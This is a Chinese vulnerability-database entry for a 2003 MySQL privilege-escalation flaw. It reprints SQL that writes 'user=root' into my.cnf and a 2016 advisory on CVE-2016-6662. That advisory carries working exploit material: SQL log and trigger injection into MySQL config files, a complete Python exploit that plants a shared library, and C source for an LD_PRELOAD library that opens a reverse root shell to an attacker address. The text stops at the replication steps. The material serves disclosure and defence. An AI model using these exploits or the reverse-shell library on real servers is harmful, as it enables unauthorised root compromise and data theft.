CVE-2003-0150
CVSS9.0
发布时间 :2003-03-24 00:00:00
修订时间 :2016-10-17 22:30:08
NMCOEPS    

[原文]MySQL 3.23.55 and earlier creates world-writeable files and allows mysql users to gain root privileges by using the "SELECT * INFO OUTFILE" operator to overwrite a configuration file and cause mysql to run as root upon restart, as demonstrated by modifying my.cnf.


[CNNVD]MySQL mysqld可以被非法以高权限运行漏洞(CNNVD-200303-069)

        
        MySQL是一款开放源代码关系型数据库系统。
        MySQL存在设计漏洞,本地或者远程攻击者利用这个漏洞以高权限运行mysqld服务程序。
        攻击者可以通过建立在'[mysqld]'选项段中包含'user=root'项的DATADIR/my.cnf文件,当mysql服务器启动的时候,DATADIR/my.cnf文件中的用户选项将会取代/etc/my.cnf中的选项,mysqld服务将以高权限运行(如root)。
        

- CVSS (基础分值)

CVSS分值: 9 [严重(HIGH)]
机密性影响: COMPLETE [完全的信息泄露导致所有系统文件暴露]
完整性影响: COMPLETE [系统完整性可被完全破坏]
可用性影响: COMPLETE [可能导致系统完全宕机]
攻击复杂度: LOW [漏洞利用没有访问限制 ]
攻击向量: NETWORK [攻击者不需要获取内网访问权或本地访问权]
身份认证: SINGLE_INSTANCE [--]

- CPE (受影响的平台与产品)

cpe:/a:mysql:mysql:3.23.52MySQL MySQL 3.23.52
cpe:/a:mysql:mysql:3.23.54aMySQL MySQL 3.23.54a
cpe:/a:mysql:mysql:3.23.53aMySQL MySQL 3.23.53a
cpe:/a:mysql:mysql:3.23.55MySQL MySQL 3.23.55
cpe:/a:mysql:mysql:3.23.53MySQL MySQL 3.23.53
cpe:/a:mysql:mysql:3.23.54MySQL MySQL 3.23.54

- OVAL (用于检测的技术细节)

oval:org.mitre.oval:def:442MYSQL Privilege Escalation Vulnerability via INFO OUTFILE Select
*OVAL详细的描述了检测该漏洞的方法,你可以从相关的OVAL定义中找到更多检测该漏洞的技术细节。

- 官方数据库链接

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-0150
(官方数据源) MITRE
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2003-0150
(官方数据源) NVD
http://www.cnnvd.org.cn/vulnerability/show/cv_cnnvdid/CNNVD-200303-069
(官方数据源) CNNVD

- 其它链接及资源

http://distro.conectiva.com.br/atualizacoes/?id=a&anuncio=000743
(UNKNOWN)  CONECTIVA  CLA-2003:743
http://marc.info/?l=bugtraq&m=104715840202315&w=2
(UNKNOWN)  BUGTRAQ  20030308 MySQL_user_can_be_changed_to_root?
http://marc.info/?l=bugtraq&m=104739810523433&w=2
(UNKNOWN)  BUGTRAQ  20030310 Re: MySQL user can be changed to root
http://marc.info/?l=bugtraq&m=104800948128630&w=2
(UNKNOWN)  BUGTRAQ  20030318 [OpenPKG-SA-2003.022] OpenPKG Security Advisory (mysql)
http://marc.info/?l=bugtraq&m=104802285012750&w=2
(UNKNOWN)  BUGTRAQ  20030318 GLSA: mysql (200303-14)
http://rhn.redhat.com/errata/RHSA-2003-094.html
(UNKNOWN)  REDHAT  RHSA-2003:094
http://www.debian.org/security/2003/dsa-303
(UNKNOWN)  DEBIAN  DSA-303
http://www.kb.cert.org/vuls/id/203897
(UNKNOWN)  CERT-VN  VU#203897
http://www.linuxsecurity.com/advisories/engarde_advisory-3046.html
(UNKNOWN)  ENGARDE  ESA-20030324-012
http://www.mandriva.com/security/advisories?name=MDKSA-2003:057
(UNKNOWN)  MANDRAKE  MDKSA-2003:057
http://www.redhat.com/support/errata/RHSA-2003-093.html
(UNKNOWN)  REDHAT  RHSA-2003:093
http://www.securityfocus.com/bid/7052
(VENDOR_ADVISORY)  BID  7052
http://xforce.iss.net/xforce/xfdb/11510
(UNKNOWN)  XF  mysql-datadir-root-privileges(11510)

- 漏洞信息

MySQL mysqld可以被非法以高权限运行漏洞
高危 配置错误
2003-03-24 00:00:00 2007-05-30 00:00:00
远程  
        
        MySQL是一款开放源代码关系型数据库系统。
        MySQL存在设计漏洞,本地或者远程攻击者利用这个漏洞以高权限运行mysqld服务程序。
        攻击者可以通过建立在'[mysqld]'选项段中包含'user=root'项的DATADIR/my.cnf文件,当mysql服务器启动的时候,DATADIR/my.cnf文件中的用户选项将会取代/etc/my.cnf中的选项,mysqld服务将以高权限运行(如root)。
        

- 公告与补丁

        厂商补丁:
        MySQL AB
        --------
        目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:
        
        http://www.mysql.com

- 漏洞信息 (22340)

MySQL 3.23.x mysqld Privilege Escalation Vulnerability (EDBID:22340)
linux local
2003-03-08 Verified
0 bugsman@libero.it
N/A [点击下载]
source: http://www.securityfocus.com/bid/7052/info

A vulnerability has been discovered for MySQL that may allow the mysqld service to start with elevated privileges.

An attacker can exploit this vulnerability by creating a DATADIR/my.cnf that includes the line 'user=root' under the '[mysqld]' option section.

When the mysqld service is executed, it will run as the root user instead of the default user.

This may allow an attacker to obtain elevated privileges on a compromised system.

mysql>CREATE DATABASE roottext;
mysql>USE roottext;
mysql>CREATE TABLE hack (conf VARCHAR(80));
mysql>INSERT IN hack VALUES ('[mysqld]');
mysql>INSERT IN hack VALUES ('user=root');
mysql>SELECT * INTO OUTFILE '/path/to/mysql/datadir/my.cnf' FROM hack
mysql>QUIT		

- 漏洞信息 (F138678)

MySQL 5.7.15 / 5.6.33 / 5.5.52 Remote Code Execution (PacketStormID:F138678)
2016-09-12 00:00:00
Dawid Golunski  
exploit,remote,root,vulnerability,code execution
CVE-2003-0150,CVE-2016-6662
[点击下载]

MySQL versions 5.7.15 and below, 5.6.33 and below, and 5.5.52 and below suffer from remote root code execution and privilege escalation vulnerabilities.

=============================================
- Discovered by: Dawid Golunski
- http://legalhackers.com
- dawid (at) legalhackers.com

- CVE-2016-6662
- Release date: 12.09.2016
- Severity: Critical
=============================================


I. VULNERABILITY
-------------------------

MySQL  <= 5.7.15       Remote Root Code Execution / Privilege Escalation (0day)
	  5.6.33
 	  5.5.52

MySQL clones are also affected, including:

MariaDB
PerconaDB 


II. BACKGROUND
-------------------------

"MySQL is the world's most popular open source database. 
Whether you are a fast growing web property, technology ISV or large 
enterprise, MySQL can cost-effectively help you deliver high performance, 
scalable database applications."

"Many of the world's largest and fastest-growing organizations including 
Facebook, Google, Adobe, Alcatel Lucent and Zappos rely on MySQL to save time 
and money powering their high-volume Web sites, business-critical systems and 
packaged software."

http://www.mysql.com/products/
http://www.mysql.com/why-mysql/
http://db-engines.com/en/system/MySQL


III. INTRODUCTION
-------------------------

An independent research has revealed multiple severe MySQL vulnerabilities.
This advisory focuses on a critical vulnerability with a CVEID of CVE-2016-6662
which can allow attackers to (remotely) inject malicious settings into MySQL 
configuration files (my.cnf) leading to critical consequences.

The vulnerability affects all MySQL servers in default configuration in all 
version branches (5.7, 5.6, and 5.5) including the latest versions, and could 
be exploited by both local and remote attackers. 
Both the authenticated access to MySQL database (via network connection or web 
interfaces such as phpMyAdmin) and SQL Injection could be used as exploitation 
vectors.

As SQL Injection attacks are one of the most common issues in web applications,
the CVE-2016-6662 vulnerabilty could put web applications at a critical risk in
case of a successful SQL Injection attack.

A successful exploitation could allow attackers to execute arbitrary code with 
root privileges which would then allow them to fully compromise the server on 
which an affected version of MySQL is running. 

Official patches for the vulnerability are not available at this time for Oracle
MySQL server. 
The vulnerability can be exploited even if security modules SELinux and AppArmor
are installed with default active policies for MySQL service on major Linux 
distributions.

This advisory provides a Proof-Of-Concept MySQL exploit which demonstrates how 
Remote Root Code Execution could be achieved by attackers. 


IV. DESCRIPTION
-------------------------

The default MySQL package comes with a mysqld_safe script which is used by many
default installations/packages of MySQL as a wrapper to start the MySQL service 
process which can observed, for example, in case of the following fully-updated
Debian system:

root@debian:~# lsb_release -a
No LSB modules are available.
Distributor ID:	Debian
Description:	Debian GNU/Linux 8.5 (jessie)
Release:	8.5
Codename:	jessie

root@debian:~# dpkg -l | grep -i mysql-server
ii  mysql-server                        5.5.50-0+deb8u1
ii  mysql-server-5.5                    5.5.50-0+deb8u1
ii  mysql-server-core-5.5               5.5.50-0+deb8u1

After starting MySQL (installed from packages provided in the default Debian repositories) by running

root@debian:~# service mysql start

or, alternatively:

root@debian:~# /etc/init.d/mysql start

The MySQL server process tree looks as follows:

root     14967  0.0  0.1   4340  1588 ?        S    06:41   0:00 /bin/sh /usr/bin/mysqld_safe

mysql    15314  1.2  4.7 558160 47736 ?        Sl   06:41   0:00 /usr/sbin/mysqld --basedir=/usr --datadir=/var/lib/mysql --plugin-dir=/usr/lib/mysql/plugin --user=mysql --log-error=/var/log/mysql/error.log --pid-file=/var/run/mysqld/mysqld.pid --socket=/var/run/mysqld/mysqld.sock --port=3306


As can be seen, the mysqld_safe wrapper script is executed as root, whereas the
main mysqld process drops its privileges to mysql user.


The wrapper script has the following function :

----[ /usr/bin/mysqld_safe ]----

[...]

# set_malloc_lib LIB
# - If LIB is empty, do nothing and return
# - If LIB is 'tcmalloc', look for tcmalloc shared library in /usr/lib
#   then pkglibdir.  tcmalloc is part of the Google perftools project.
# - If LIB is an absolute path, assume it is a malloc shared library
#
# Put LIB in mysqld_ld_preload, which will be added to LD_PRELOAD when
# running mysqld.  See ld.so for details.
set_malloc_lib() {
  malloc_lib="$1"

  if [ "$malloc_lib" = tcmalloc ]; then
    pkglibdir=`get_mysql_config --variable=pkglibdir`
    malloc_lib=
    # This list is kept intentionally simple.  Simply set --malloc-lib
    # to a full path if another location is desired.
    for libdir in /usr/lib "$pkglibdir" "$pkglibdir/mysql"; do
      for flavor in _minimal '' _and_profiler _debug; do
        tmp="$libdir/libtcmalloc$flavor.so"
        #log_notice "DEBUG: Checking for malloc lib '$tmp'"
        [ -r "$tmp" ] || continue
        malloc_lib="$tmp"
        break 2
      done
    done

[...]

----------[ eof ]---------------


which can be used to preload a shared library before starting the server.

The library can be set with the following parameter:

--malloc-lib=LIB 

This parameter can also be specified within a mysql config file (my.cnf) 
in a '[mysqld]' or '[mysqld_safe]' section.

If an attacker managed to inject a path to their malicious library within the 
config, they would be able to preload an arbitrary library and thus execute 
arbitrary code with root privileges when MySQL service is restarted (manually,
via a system update, package update, system reboot etc.)

In 2003 a vulnerability was disclosed in MySQL versions before 3.23.55 that 
allowed users to create mysql config files with a simple statement:

SELECT * INFO OUTFILE '/var/lib/mysql/my.cnf'

The issue was fixed by refusing to load config files with world-writable
permissions as these are the default permissions applied to files created
by OUTFILE query.
As an additional protection, OUTFILE/DUMPFILE statements are prohibited from
overwrite existing files. 
This protects existing configuration files. 
The old vulnerability has been considered fixed ever since the MySQL 3.23.55 
was released in 2003, and writing to configuration files has been considered 
impossible.

However, the V. PROOF OF CONCEPT section below will show that it is possible to
successfully bypass current restrictions by abusing MySQL logging functions 
(available in every MySQL install by default) to achieve the following:

1) Inject malicious configuration into existing MySQL configuration files on
systems with weak/improper permissions (configs owned by/writable by mysql user).

2) Create new configuration files within a MySQL data directory (writable
by MySQL by default) on _default_ MySQL installs without the need to rely on
improper config permisions.

3) Attackers with only SELECT/FILE permissions can gain access to logging 
functions (normally only available to MySQL admin users) on all of the 
_default_ MySQL installations and thus be in position to add/modify MySQL 
config files.


V. PROOF OF CONCEPT
-------------------------


1) Inject malicious configuration into existing MySQL configuration files on
systems with weak/improper permissions (configs owned by/writable by mysql user).
~~~~~~~~~~~~~~~~~~~~~~~~

MySQL configuration files are loaded from all supported locations and processed
one by one when mysqld_safe script is executed. 

Exact config locations depend on MySQL version.  
For example, as described on:
http://dev.mysql.com/doc/refman/5.5/en/option-files.html
for MySQL 5.5 the config locations include:

/etc/my.cnf	        Global options
/etc/mysql/my.cnf	Global options
SYSCONFDIR/my.cnf	Global options
$MYSQL_HOME/my.cnf	Server-specific options
defaults-extra-file	The file specified with --defaults-extra-file=file_name, if any
~/.my.cnf	User-specific options

There is a common misconception that mysql config files should be owned by mysql
user for the server to work properly.
Many installation guides, or even security guides often wrongly advise users 
to set the ownership of mysql config files/directories such as /etc/mysql 
or /etc/my.cnf to mysql user.

For example:
https://github.com/willfong/mariadb-backup/blob/master/README.md
says:

"Lock down permissions on config file(s) 

chown mysql /etc/my.cnf
chmod 600 /etc/my.cnf"

Whereas the article at:
http://www.devshed.com/c/a/mysql/security-issues-with-mysql/
mentions:

"You should also protect the global option file, /etc/my.cnf, if it exists. 
The mysql user should own it and have read/write access to it, but other users 
need only read access:

shell> chown mysql /etc/my.cnf"

Moreover, there are also MySQL recipes for installation automatation software 
such as Chef that also provide users with vulnerable permissions on my.cnf 
config files.

If any of the MySQL config files is owned by mysql user, an attacker could
append malicious config entries to it as follows:

root@debian:~/# ls -l /etc/my.cnf 
-rw-r--r-- 1 mysql mysql 72 Jul 28 17:20 /etc/my.cnf

root@debian:~/# cat /etc/my.cnf 

[mysqld]

key_buffer              = 16M
max_allowed_packet      = 16M


Attacker could run the following SQL queries:

mysql> set global general_log_file = '/etc/my.cnf';
mysql> set global general_log = on;
mysql> select '
    '> 
    '> ; injected config entry
    '> 
    '> [mysqld]
    '> malloc_lib=/tmp/mysql_exploit_lib.so
    '> 
    '> [separator]
    '> 
    '> ';
1 row in set (0.00 sec)
mysql> set global general_log = off;

The resulting config would then have the following part appended:

root@debian:~/# cat /etc/my.cnf 

[mysqld]

key_buffer              = 16M
max_allowed_packet      = 16M

/usr/sbin/mysqld, Version: 5.5.50-0+deb8u1 ((Debian)). started with:
Tcp port: 3306  Unix socket: /var/run/mysqld/mysqld.sock
Time                 Id Command    Argument
160728 17:25:14	   40 Query	select '

; injected config entry

[mysqld]
malloc_lib=/tmp/mysql_exploit_lib.so

[separator]

'
160728 17:25:15	   40 Query	set global general_log = off


This config contains some redundant information that would normally cause MySQL
to fail to startup during a restart due to parsing issues. 

However, the important part is that the config now contains the section:

[mysqld]
malloc_lib=/tmp/mysql_exploit_lib.so

mysqld_safe will read the shared library path correctly and add it to 
the LD_PRELOAD environment variable before the startup of mysqld daemon. 
The preloaded library can then hook the libc fopen() calls and clean up 
the config before it is ever processed by mysqld daemon in order for it 
to start up successfully. 




~~~~~~~~~~~~~~~~~~~~~~~~
2) Create new configuration files within a MySQL data directory (writable
by MySQL by default) on _default_ MySQL installs without the need to rely on
improper config permisions.


Analysis of the mysqld_safe script has shown that in addition to the 
config locations provided above, mysqld_safe also loads the configuration file 
from the mysql data directory (/var/lib/mysql/my.cnf) by default as can be 
seen below:

----[ /usr/bin/mysqld_safe ]----

[...]
# Try where the binary installs put it
if test -d $MY_BASEDIR_VERSION/data/mysql
then
  DATADIR=$MY_BASEDIR_VERSION/data
  if test -z "$defaults" -a -r "$DATADIR/my.cnf"
  then
    defaults="--defaults-extra-file=$DATADIR/my.cnf"
  fi
[...]

----------[ eof ]---------------

on MySQL versions in branches 5.5 and 5.6.
The datadir location for my.cnf has only been removed from MySQL starting
from 5.7 branch however in many configurations it will still load config
from:

/var/lib/mysql/.my.cnf

The data directory /var/lib/mysql is (obviously) writable by mysql user on
every install:

root@debian:~# ls -ld /var/lib/mysql/
drwx------ 4 mysql mysql 4096 Jul 28 06:41 /var/lib/mysql/

Therefore, if no mysql-owned configs are available on the system, an attacker 
could still be able to exploit the vulnerability by creating a config at the
following locations:

/var/lib/mysql/my.cnf 
/var/lib/mysql/.my.cnf 

As mentioned, using FILE permission to create such a file with the SQL statement:

SELECT 'malicious config entry' INTO OUTFILE '/var/lib/mysql/my.cnf'

would not work, as MySQL creates files with rw permissions for the world:

-rw-rw-rw- 1 mysql mysql 4 Jul 28 07:46 /var/lib/mysql/my.cnf

and MySQL would prevent such world-writable config from being loaded at startup.

Attackers could bypass this however by using these logging SQL statements:

mysql> set global general_log_file = '/var/lib/mysql/my.cnf';
mysql> set global general_log = on;
mysql> select '
    '> 
    '> ; injected config entry
    '> 
    '> [mysqld]
    '> malloc_lib=/var/lib/mysql/mysql_hookandroot_lib.so
    '> 
    '> [separator]
    '> 
    '> ';
1 row in set (0.00 sec)
mysql> set global general_log = off;

The queries will create the my.cnf file with the necessary permissions 
(without o-w bit) for it to be parsed by the MySQL daemon:

# ls -l /var/lib/mysql/my.cnf 
-rw-rw---- 1 mysql mysql 352 Jul 28 17:48 /var/lib/mysql/my.cnf

The file will have the following contents:

# cat /var/lib/mysql/my.cnf 
/usr/sbin/mysqld, Version: 5.5.50-0+deb8u1 ((Debian)). started with:
Tcp port: 3306  Unix socket: /var/run/mysqld/mysqld.sock
Time                 Id Command    Argument
160728 17:48:22	   43 Query	select '

; injected config entry

[mysqld]
malloc_lib=/var/lib/mysql/mysql_hookandroot_lib.so

[separator]

'
160728 17:48:23	   43 Query	set global general_log = off


One problem will remain however. MySQL will refuse files that do not start with
a valid [section] header with the message:

error: Found option without preceding group in config file: /var/lib/mysql/my.cnf at line: 1
Fatal error in defaults handling. Program aborted

Further testing has however proved that it is possible to bypass this security
restriction as well but these will not be included in this advisory for the 
time being. 

It is worth to note that attackers could use one of the other vulnerabilities discovered 
by the author of this advisory which has been assigned a CVEID of CVE-2016-6663 and is
pending disclosure. The undisclosed vulnerability makes it easy for certain attackers to 
create /var/lib/mysql/my.cnf file with arbitrary contents without the FILE privilege
requirement.




~~~~~~~~~~~~~~~~~~~~~~~~
3) Attackers with only SELECT/FILE permissions can gain access to logging functions 
(normally only available to MySQL admin users) on all of the _default_ MySQL 
installations and thus be in position to add/modify MySQL config files.


If attackers do not have administrative rights required to access logging settings 
and only have standard user privileges with the addition of FILE privilege then 
they could still gain the ability to write to / modify configuration files.

This could be achieved by writing a malicious trigger payload:

CREATE DEFINER=`root`@`localhost` TRIGGER appendToConf
AFTER INSERT
   ON `active_table` FOR EACH ROW
BEGIN
   DECLARE void varchar(550);
   set global general_log_file='/var/lib/mysql/my.cnf';
   set global general_log = on;
   select "
[mysqld]
malloc_lib='/var/lib/mysql/mysql_hookandroot_lib.so'

" INTO void;   
   set global general_log = off;
END;


into a trigger file of an actively used table ('active_table') with the
use of a statement similar to:

SELECT '....trigger_code...' INTO DUMPFILE /var/lib/mysql/activedb/active_table.TRG' 

Such trigger will be loaded when tables get flushed. From this point on
whenever an INSERT statement is invoked on the table, e.g:

INSERT INTO `active_table` VALUES('xyz');

The trigger's code will be executed with mysql root user privileges (see 
'definer' above) and will thus let attacker to modify the general_log settings 
despite the lack of administrative privileges on their standard account.


------------------
VI. PROOF OF CONCEPT - 0day 0ldSQL_MySQL_RCE_exploit.py exploit


----------[ 0ldSQL_MySQL_RCE_exploit.py ]--------------

#!/usr/bin/python

# This is a limited version of the PoC exploit. It only allows appending to
# existing mysql config files with weak permissions. See V) 1) section of 
# the advisory for details on this vector. 
#
# Full PoC will be released at a later date, and will show how attackers could
# exploit the vulnerability on default installations of MySQL on systems with no
# writable my.cnf config files available.
#
# The upcoming advisory CVE-2016-6663 will also make the exploitation trivial
# for certain low-privileged attackers that do not have FILE privilege.
# 
# See full advisory for details:
# http://legalhackers.com/advisories/MySQL-Exploit-Remote-Root-Code-Execution-Privesc-CVE-2016-6662.txt
#
# Stay tuned ;)

intro = """
0ldSQL_MySQL_RCE_exploit.py (ver. 1.0)
(CVE-2016-6662) MySQL Remote Root Code Execution / Privesc PoC Exploit

For testing purposes only. Do no harm.

Discovered/Coded by:

Dawid Golunski
http://legalhackers.com

"""

import argparse
import mysql.connector    
import binascii
import subprocess


def info(str):
    print "[+] " + str + "\n"

def errmsg(str):
    print "[!] " + str + "\n"

def shutdown(code):
    if (code==0):
        info("Exiting (code: %d)\n" % code)
    else:
        errmsg("Exiting (code: %d)\n" % code)
    exit(code)


cmd = "rm -f /var/lib/mysql/pocdb/poctable.TRG ; rm -f /var/lib/mysql/mysql_hookandroot_lib.so"
process = subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
(result, error) = process.communicate()
rc = process.wait() 


# where will the library to be preloaded reside? /tmp might get emptied on reboot
# /var/lib/mysql is safer option (and mysql can definitely write in there ;)
malloc_lib_path='/var/lib/mysql/mysql_hookandroot_lib.so'


# Main Meat

print intro

# Parse input args
parser = argparse.ArgumentParser(prog='0ldSQL_MySQL_RCE_exploit.py', description='PoC for MySQL Remote Root Code Execution / Privesc CVE-2016-6662')
parser.add_argument('-dbuser', dest='TARGET_USER', required=True, help='MySQL username') 
parser.add_argument('-dbpass', dest='TARGET_PASS', required=True, help='MySQL password')
parser.add_argument('-dbname', dest='TARGET_DB',   required=True, help='Remote MySQL database name')
parser.add_argument('-dbhost', dest='TARGET_HOST', required=True, help='Remote MySQL host')
parser.add_argument('-mycnf', dest='TARGET_MYCNF', required=True, help='Remote my.cnf owned by mysql user')
                  
args = parser.parse_args()


# Connect to database. Provide a user with CREATE TABLE, SELECT and FILE permissions
# CREATE requirement could be bypassed (malicious trigger could be attached to existing tables)
info("Connecting to target server %s and target mysql account '%s@%s' using DB '%s'" % (args.TARGET_HOST, args.TARGET_USER, args.TARGET_HOST, args.TARGET_DB))
try:
    dbconn = mysql.connector.connect(user=args.TARGET_USER, password=args.TARGET_PASS, database=args.TARGET_DB, host=args.TARGET_HOST)
except mysql.connector.Error as err:
    errmsg("Failed to connect to the target: {}".format(err))
    shutdown(1)

try:
    cursor = dbconn.cursor()
    cursor.execute("SHOW GRANTS")
except mysql.connector.Error as err:
    errmsg("Something went wrong: {}".format(err))
    shutdown(2)

privs = cursor.fetchall()
info("The account in use has the following grants/perms: " )
for priv in privs:
    print priv[0]
print ""


# Compile mysql_hookandroot_lib.so shared library that will eventually hook to the mysqld 
# process execution and run our code (Remote Root Shell)
# Remember to match the architecture of the target (not your machine!) otherwise the library
# will not load properly on the target.
info("Compiling mysql_hookandroot_lib.so")
cmd = "gcc -Wall -fPIC -shared -o mysql_hookandroot_lib.so mysql_hookandroot_lib.c -ldl"
process = subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
(result, error) = process.communicate()
rc = process.wait() 
if rc != 0:
    errmsg("Failed to compile mysql_hookandroot_lib.so: %s" % cmd)
    print error 
    shutdown(2)

# Load mysql_hookandroot_lib.so library and encode it into HEX
info("Converting mysql_hookandroot_lib.so into HEX")
hookandrootlib_path = './mysql_hookandroot_lib.so'
with open(hookandrootlib_path, 'rb') as f:
    content = f.read()
    hookandrootlib_hex = binascii.hexlify(content)

# Trigger payload that will elevate user privileges and sucessfully execute SET GLOBAL GENERAL_LOG 
# Decoded payload (paths may differ):
"""
DELIMITER //
CREATE DEFINER=`root`@`localhost` TRIGGER appendToConf
AFTER INSERT
   ON `poctable` FOR EACH ROW
BEGIN

   DECLARE void varchar(550);
   set global general_log_file='/var/lib/mysql/my.cnf';
   set global general_log = on;
   select "

# 0ldSQL_MySQL_RCE_exploit got here :)

[mysqld]
malloc_lib='/var/lib/mysql/mysql_hookandroot_lib.so'

[abyss]
" INTO void;   
   set global general_log = off;

END; //
DELIMITER ;
"""
trigger_payload="""TYPE=TRIGGERS
triggers='CREATE DEFINER=`root`@`localhost` TRIGGER appendToConf\\nAFTER INSERT\\n   ON `poctable` FOR EACH ROW\\nBEGIN\\n\\n   DECLARE void varchar(550);\\n   set global general_log_file=\\'%s\\';\\n   set global general_log = on;\\n   select "\\n\\n# 0ldSQL_MySQL_RCE_exploit got here :)\\n\\n[mysqld]\\nmalloc_lib=\\'%s\\'\\n\\n[abyss]\\n" INTO void;   \\n   set global general_log = off;\\n\\nEND'
sql_modes=0
definers='root@localhost'
client_cs_names='utf8'
connection_cl_names='utf8_general_ci'
db_cl_names='latin1_swedish_ci'
""" % (args.TARGET_MYCNF, malloc_lib_path)

# Convert trigger into HEX to pass it to unhex() SQL function
trigger_payload_hex = "".join("{:02x}".format(ord(c)) for c in trigger_payload)

# Save trigger into a trigger file
TRG_path="/var/lib/mysql/%s/poctable.TRG" % args.TARGET_DB
info("Saving trigger payload into %s" % (TRG_path))
try:
    cursor = dbconn.cursor()
    cursor.execute("""SELECT unhex("%s") INTO DUMPFILE '%s' """ % (trigger_payload_hex, TRG_path) )
except mysql.connector.Error as err:
    errmsg("Something went wrong: {}".format(err))
    shutdown(4)

# Save library into a trigger file
info("Dumping shared library into %s file on the target" % malloc_lib_path)
try:
    cursor = dbconn.cursor()
    cursor.execute("""SELECT unhex("%s") INTO DUMPFILE '%s' """ % (hookandrootlib_hex, malloc_lib_path) )
except mysql.connector.Error as err:
    errmsg("Something went wrong: {}".format(err))
    shutdown(5)

# Creating table poctable so that /var/lib/mysql/pocdb/poctable.TRG trigger gets loaded by the server
info("Creating table 'poctable' so that injected 'poctable.TRG' trigger gets loaded")
try:
    cursor = dbconn.cursor()
    cursor.execute("CREATE TABLE `poctable` (line varchar(600)) ENGINE='MyISAM'"  )
except mysql.connector.Error as err:
    errmsg("Something went wrong: {}".format(err))
    shutdown(6)

# Finally, execute the trigger's payload by inserting anything into `poctable`. 
# The payload will write to the mysql config file at this point.
info("Inserting data to `poctable` in order to execute the trigger and write data to the target mysql config %s" % args.TARGET_MYCNF )
try:
    cursor = dbconn.cursor()
    cursor.execute("INSERT INTO `poctable` VALUES('execute the trigger!');" )
except mysql.connector.Error as err:
    errmsg("Something went wrong: {}".format(err))
    shutdown(6)

# Check on the config that was just created
info("Showing the contents of %s config to verify that our setting (malloc_lib) got injected" % args.TARGET_MYCNF )
try:
    cursor = dbconn.cursor()
    cursor.execute("SELECT load_file('%s')" % args.TARGET_MYCNF)
except mysql.connector.Error as err:
    errmsg("Something went wrong: {}".format(err))
    shutdown(2)
finally:
    dbconn.close()  # Close DB connection
print ""
myconfig = cursor.fetchall()
print myconfig[0][0]
info("Looks messy? Have no fear, the preloaded lib mysql_hookandroot_lib.so will clean up all the mess before mysqld daemon even reads it :)")

# Spawn a Shell listener using netcat on 6033 (inverted 3306 mysql port so easy to remember ;)
info("Everything is set up and ready. Spawning netcat listener and waiting for MySQL daemon to get restarted to get our rootshell... :)" )
listener = subprocess.Popen(args=["/bin/nc", "-lvp","6033"])
listener.communicate()
print ""

# Show config again after all the action is done
info("Shell closed. Hope you had fun. ")

# Mission complete, but just for now... Stay tuned :)
info("""Stay tuned for the CVE-2016-6663 advisory and/or a complete PoC that can craft a new valid my.cnf (i.e no writable my.cnf required) ;)""")


# Shutdown
shutdown(0)


---------------------------------------------------





----------[ mysql_hookandroot_lib.c ]--------------

/*

(CVE-2016-6662) MySQL Remote Root Code Execution / Privesc PoC Exploit
mysql_hookandroot_lib.c

This is the shared library injected by 0ldSQL_MySQL_RCE_exploit.py exploit.
The library is meant to be loaded by mysqld_safe on mysqld daemon startup
to create a reverse shell that connects back to the attacker's host on
6603 port (mysql port in reverse ;) and provides a root shell on the
target. 

mysqld_safe will load this library through the following setting:

[mysqld]
malloc_lib=mysql_hookandroot_lib.so

in one of the my.cnf config files (e.g. /etc/my.cnf).

This shared library will hook the execvp() function which is called
during the startup of mysqld process. 
It will then fork a reverse shell and clean up the poisoned my.cnf
file in order to let mysqld run as normal so that:
'service mysql restart' will work without a problem.

Before compiling adjust IP / PORT and config path.


~
Discovered/Coded by:

Dawid Golunski
http://legalhackers.com


~
Compilation (remember to choose settings compatible with the remote OS/arch):

gcc -Wall -fPIC -shared -o mysql_hookandroot_lib.so mysql_hookandroot_lib.c -ldl

Disclaimer:

For testing purposes only. Do no harm.

Full advisory URL:
http://legalhackers.com/advisories/MySQL-Exploit-Remote-Root-Code-Execution-Privesc-CVE-2016-6662.txt

*/

#define _GNU_SOURCE
#include <stdio.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <unistd.h>
#include <string.h>
#include <dlfcn.h>
#include <stdlib.h>
#include <stdarg.h>
#include <fcntl.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>

#define ATTACKERS_IP "127.0.0.1"
#define SHELL_PORT 6033
#define INJECTED_CONF "/var/lib/mysql/my.cnf"

char* env_list[] = { "HOME=/root", NULL };
typedef ssize_t (*execvp_func_t)(const char *__file, char *const __argv[]);
static execvp_func_t old_execvp = NULL;


// fork & send a bash shell to the attacker before starting mysqld
void reverse_shell(void) {

    int i; int sockfd;
    //socklen_t socklen;
    struct sockaddr_in srv_addr;
    srv_addr.sin_family = AF_INET; 
    srv_addr.sin_port = htons( SHELL_PORT ); // connect-back port
    srv_addr.sin_addr.s_addr = inet_addr(ATTACKERS_IP); // connect-back ip 

    // create new TCP socket && connect
    sockfd = socket( AF_INET, SOCK_STREAM, IPPROTO_IP );
    connect(sockfd, (struct sockaddr *)&srv_addr, sizeof(srv_addr));
	
    for(i = 0; i <= 2; i++) dup2(sockfd, i);
    execle( "/bin/bash", "/bin/bash", "-i", NULL, env_list );

    exit(0);
}


/*
 cleanup injected data from the target config before it is read by mysqld
 in order to ensure clean startup of the service

 The injection (if done via logging) will start with a line like this:

 /usr/sbin/mysqld, Version: 5.5.50-0+deb8u1 ((Debian)). started with:

*/

int config_cleanup() {

    FILE *conf;
    char buffer[2000];
    long cut_offset=0;

    conf = fopen(INJECTED_CONF, "r+");
    if (!conf) return 1;

    while (!feof(conf)) {
       fgets(buffer, sizeof(buffer), conf);
       if (strstr(buffer,"/usr/sbin/mysqld, Version")) {
	  cut_offset = (ftell(conf) - strlen(buffer));
       }

    }
    if (cut_offset>0) ftruncate(fileno(conf), cut_offset);
    fclose(conf);
    return 0;

}


// execvp() hook
int execvp(const char* filename, char* const argv[]) {

    pid_t  pid;
    int fd;

    // Simple root PoC (touch /root/root_via_mysql)
    fd = open("/root/root_via_mysql", O_CREAT);
    close(fd);

    old_execvp = dlsym(RTLD_NEXT, "execvp");

    // Fork a reverse shell and execute the original execvp() function
    pid = fork();
    if (pid == 0) 
          reverse_shell();

    // clean injected payload before mysqld is started
    config_cleanup();
    return old_execvp(filename, argv);
}


------------------------------------------------




Replication / testing:
~~~~~~~~~~~~~~~~~

As admin on the target system:
~~~~~~~

1. Set up a test database account/permissions:

